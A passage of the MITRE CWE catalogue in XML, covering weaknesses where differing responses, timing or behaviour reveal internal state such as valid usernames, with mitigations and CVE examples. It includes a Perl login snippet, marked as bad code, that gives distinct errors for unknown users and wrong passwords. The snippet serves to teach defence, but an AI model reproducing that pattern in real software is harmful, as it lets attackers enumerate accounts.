				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker can gain access to sensitive information about the system,
							including authentication information that may allow an attacker to gain
							access to the system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-39">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that error messages only contain minimal details that are
							useful to the intended audience, and nobody else. The messages need to
							strike the balance between being too cryptic and not being cryptic
							enough. They should not necessarily reveal the methods that were used to
							determine the error. Such detailed information can be used to refine the
							original attack to increase the chances of success.</Text>
						            <Text>If errors must be tracked in some detail, capture them in log messages
							- but consider what could occur if the log messages can be viewed by
							attackers. Avoid recording highly sensitive information such as
							passwords in any form. Avoid inconsistent messaging that might
							accidentally tip off an attacker about internal state, such as whether a
							username is valid or not.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-38">
					          <Intro_Text>The following code checks validity of the supplied username and
						password and notifies the user of a successful or failed login. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $username=param('username');</Code>
							              <Code>my $password=param('password');</Code>
							              <Code/>
							              <Code>if (IsValidUsername($username) == 1)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>if (IsValidPassword($username, $password) == 1)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>print "Login Successful";</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>print "Login Failed - incorrect password";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>print "Login Failed - unknown username";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In the above code, there are different messages for when an incorrect
							username is supplied, versus when the username is correct but the
							password is wrong. This difference enables a potential attacker to
							understand the state of the login function, and could allow an attacker
							to discover a valid username by trying different values until the
							incorrect password message is returned. In essence, this makes it easier
							for an attacker to obtain half of the necessary authentication
							credentials. </Text>
						            <Text>While this type of information may be helpful to a user, it is also
							useful to a potential attacker. In the above example, the message for
							both failed cases should be the same, such as: </Text>
						            <Block Block_Nature="Result">
							              <Code>"Login Failed - incorrect username or password"</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2094</Observed_Example_Reference>
					          <Observed_Example_Description>This, and others, use ".." attacks and monitor
						error responses, so there is overlap with directory
						traversal.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1483</Observed_Example_Reference>
					          <Observed_Example_Description>Enumeration of valid usernames based on
						inconsistent responses</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1528</Observed_Example_Reference>
					          <Observed_Example_Description>Account number enumeration via inconsistent
						responses.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2150</Observed_Example_Reference>
					          <Observed_Example_Description>User enumeration via discrepancies in error
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1650</Observed_Example_Reference>
					          <Observed_Example_Description>User enumeration via discrepancies in error
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0294</Observed_Example_Reference>
					          <Observed_Example_Description> Bulletin Board displays different error messages
						when a user exists or not, which makes it easier for remote attackers to
						identify valid users and conduct a brute force password guessing attack.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0243</Observed_Example_Reference>
					          <Observed_Example_Description> Operating System, when direct remote login is
						disabled, displays a different message if the password is correct, which
						allows remote attackers to guess the password via brute force methods.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0514</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows remote attackers to determine if a
						port is being filtered because the response packet TTL is different than the
						default TTL. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0515</Observed_Example_Reference>
					          <Observed_Example_Description> Product sets a different TTL when a port is being
						filtered than when it is not being filtered, which allows remote attackers
						to identify filtered ports by comparing TTLs.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1387</Observed_Example_Reference>
					          <Observed_Example_Description> Product may generate different responses than
						specified by the administrator, possibly leading to an information leak.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0778</Observed_Example_Reference>
					          <Observed_Example_Description> Version control system allows remote attackers to
						determine the existence of arbitrary files and directories via the -X
						command for an alternate history file, which causes different error messages
						to be returned. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1428</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server generates an error message if the user
						name does not exist instead of prompting for a password, which allows remote
						attackers to determine valid usernames. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0078</Observed_Example_Reference>
					          <Observed_Example_Description> SSL implementation does not perform a MAC
						computation if an incorrect block cipher padding is used, which causes an
						information leak (timing discrepancy) that may make it easier to launch
						cryptographic attacks that rely on distinguishing between padding and MAC
						verification errors, possibly leading to extraction of the original
						plaintext, aka the "Vaudenay timing attack." </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1117</Observed_Example_Reference>
					          <Observed_Example_Description> Virtual machine allows malicious web site
						operators to determine the existence of files on the client by measuring
						delays in the execution of the getSystemResource method.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0637</Observed_Example_Reference>
					          <Observed_Example_Description> Product uses a shorter timeout for a non-existent
						user than a valid user, which makes it easier for remote attackers to guess
						usernames and conduct brute force password guessing.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0190</Observed_Example_Reference>
					          <Observed_Example_Description> Product immediately sends an error message when a
						user does not exist, which allows remote attackers to determine valid
						usernames via a timing attack. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1602</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server responds in a different amount of time
						when a given username exists, which allows remote attackers to identify
						valid usernames by timing the server response.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0918</Observed_Example_Reference>
					          <Observed_Example_Description> Browser allows remote attackers to determine the
						existence of arbitrary files by setting the src property to the target
						filename and using Javascript to determine if the web page immediately stops
						loading, which indicates whether the file exists or not.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Discrepancy Information Leaks</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Information Leakage and Improper Error
						Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Improper Error Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Discrepancy Information
						Leaks</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="204" Name="Response Discrepancy Information Exposure" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software provides different responses to incoming requests
					in a way that allows an actor to determine system state information that is
					outside of that actor's control sphere.</Description_Summary>
				        <Extended_Description>
					          <Text>This issue frequently occurs during authentication, where a difference in
						failed-login messages could allow an attacker to determine if the username
						is valid or not. These exposures can be inadvertent (bug) or intentional
						(design).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>203</Relationship_Target_ID>
					          <!--Information Exposure Through Discrepancy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>can overlap errors related to escalated privileges</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-39">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that error messages only contain minimal details that are
							useful to the intended audience, and nobody else. The messages need to
							strike the balance between being too cryptic and not being cryptic
							enough. They should not necessarily reveal the methods that were used to
							determine the error. Such detailed information can be used to refine the
							original attack to increase the chances of success.</Text>
						            <Text>If errors must be tracked in some detail, capture them in log messages
							- but consider what could occur if the log messages can be viewed by
							attackers. Avoid recording highly sensitive information such as
							passwords in any form. Avoid inconsistent messaging that might
							accidentally tip off an attacker about internal state, such as whether a
							username is valid or not.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-38">
					          <Intro_Text>The following code checks validity of the supplied username and
						password and notifies the user of a successful or failed login. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $username=param('username');</Code>
							              <Code>my $password=param('password');</Code>
							              <Code/>
							              <Code>if (IsValidUsername($username) == 1)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>if (IsValidPassword($username, $password) == 1)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>print "Login Successful";</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>print "Login Failed - incorrect password";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>print "Login Failed - unknown username";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In the above code, there are different messages for when an incorrect
							username is supplied, versus when the username is correct but the
							password is wrong. This difference enables a potential attacker to
							understand the state of the login function, and could allow an attacker
							to discover a valid username by trying different values until the
							incorrect password message is returned. In essence, this makes it easier
							for an attacker to obtain half of the necessary authentication
							credentials. </Text>
						            <Text>While this type of information may be helpful to a user, it is also
							useful to a potential attacker. In the above example, the message for
							both failed cases should be the same, such as: </Text>
						            <Block Block_Nature="Result">
							              <Code>"Login Failed - incorrect username or password"</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2094</Observed_Example_Reference>
					          <Observed_Example_Description>This, and others, use ".." attacks and monitor
						error responses, so there is overlap with directory
						traversal.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1483</Observed_Example_Reference>
					          <Observed_Example_Description>Enumeration of valid usernames based on
						inconsistent responses</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1528</Observed_Example_Reference>
					          <Observed_Example_Description>Account number enumeration via inconsistent
						responses.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2150</Observed_Example_Reference>
					          <Observed_Example_Description>User enumeration via discrepancies in error
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1650</Observed_Example_Reference>
					          <Observed_Example_Description>User enumeration via discrepancies in error
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0294</Observed_Example_Reference>
					          <Observed_Example_Description> Bulletin Board displays different error messages
						when a user exists or not, which makes it easier for remote attackers to
						identify valid users and conduct a brute force password guessing attack.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0243</Observed_Example_Reference>
					          <Observed_Example_Description> Operating System, when direct remote login is
						disabled, displays a different message if the password is correct, which
						allows remote attackers to guess the password via brute force methods.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0514</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows remote attackers to determine if a
						port is being filtered because the response packet TTL is different than the
						default TTL. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0515</Observed_Example_Reference>
					          <Observed_Example_Description> Product sets a different TTL when a port is being
						filtered than when it is not being filtered, which allows remote attackers
						to identify filtered ports by comparing TTLs.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1387</Observed_Example_Reference>
					          <Observed_Example_Description> Product may generate different responses than
						specified by the administrator, possibly leading to an information leak.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0778</Observed_Example_Reference>
					          <Observed_Example_Description> Version control system allows remote attackers to
						determine the existence of arbitrary files and directories via the -X
						command for an alternate history file, which causes different error messages
						to be returned. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1428</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server generates an error message if the user
						name does not exist instead of prompting for a password, which allows remote
						attackers to determine valid usernames. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 12: Information Leakage." Page 191</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Response discrepancy infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Response Discrepancy
						Information Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="205" Name="Information Exposure Through Behavioral Discrepancy" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The product's actions indicate important differences based on
					(1) the internal state of the product or (2) differences from other products in
					the same class.</Description_Summary>
				        <Extended_Description>
					          <Text>For example, attacks such as OS fingerprinting rely heavily on both
						behavioral and response discrepancies.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>203</Relationship_Target_ID>
					          <!--Information Exposure Through Discrepancy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Behavioral Discrepancy Infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Fingerprinting </Mapped_Node_Name>
					          <Mapped_Node_ID>45</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Behavioral Discrepancy
						Information Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="206" Name="Information Exposure of Internal State Through Behavioral Inconsistency" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Two separate operations in a product cause the product to
					behave differently in a way that is observable to an attacker and reveals
					security-relevant information about the internal state of the product, such as
					whether a particular operation was successful or not.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>205</Relationship_Target_ID>
					          <!--Information Exposure Through Behavioral Discrepancy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Setup generic response pages for error condition. The error page
							should not disclose information about the success or failure of a
							sensitive operation. For instance, the login page should not confirm
							that the login is correct and the password incorrect. The attacker who
							tries random account name may be able to guess some of them. Confirming
							that the account exists would make the login page more susceptible to
							brute force attack.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2031</Observed_Example_Reference>
					          <Observed_Example_Description>File existence via infoleak monitoring whether
						"onerror" handler fires or not.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
